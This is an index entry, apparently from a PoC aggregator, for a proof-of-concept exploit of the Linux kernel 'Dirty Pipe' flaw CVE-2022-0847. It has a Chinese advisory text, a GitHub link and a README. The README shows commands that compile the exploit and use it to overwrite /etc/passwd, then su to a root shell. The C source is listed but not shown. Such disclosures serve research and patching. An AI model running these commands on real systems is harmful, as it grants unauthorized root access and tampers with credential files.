CVE-2022-0847 PoC — Linux kernel 安全漏洞

Source

https://github.com/ahrixia/CVE_2022_0847

Associated Vulnerability

Title:Linux kernel 安全漏洞 (CVE-2022-0847)
Description:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 存在安全漏洞，该漏洞源于新管道缓冲区结构的“flag”变量在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化。非特权本地用户利用该漏洞可以提升权限至root。以下产品和版本受到影响：Linux Kernel 5.8-5.16.11、5.8-5.15.25、5.8-5.10.102。

Description

CVE-2022-0847: Linux Kernel Privilege Escalation Vulnerability

Readme

# CVE_2022_0847
CVE-2022-0847: Linux Kernel Privilege Escalation Vulnerability

---
## POC

A Simple Proof of concept to get root shell.

```bash
$ gcc cve_2022_0847.c -o exploit
$ ./exploit /etc/passwd 1 ootz:
$ su rootz
# id
uid=0(root) gid=0(root) groups=0(root)
```

File Snapshot


 [4.0K]  /data/pocs/2e259e4ed096b8a35f3c558802076347332136d7
├── [4.4K]  cve_2022_0847.c
└── [ 270]  README.md

0 directories, 2 files

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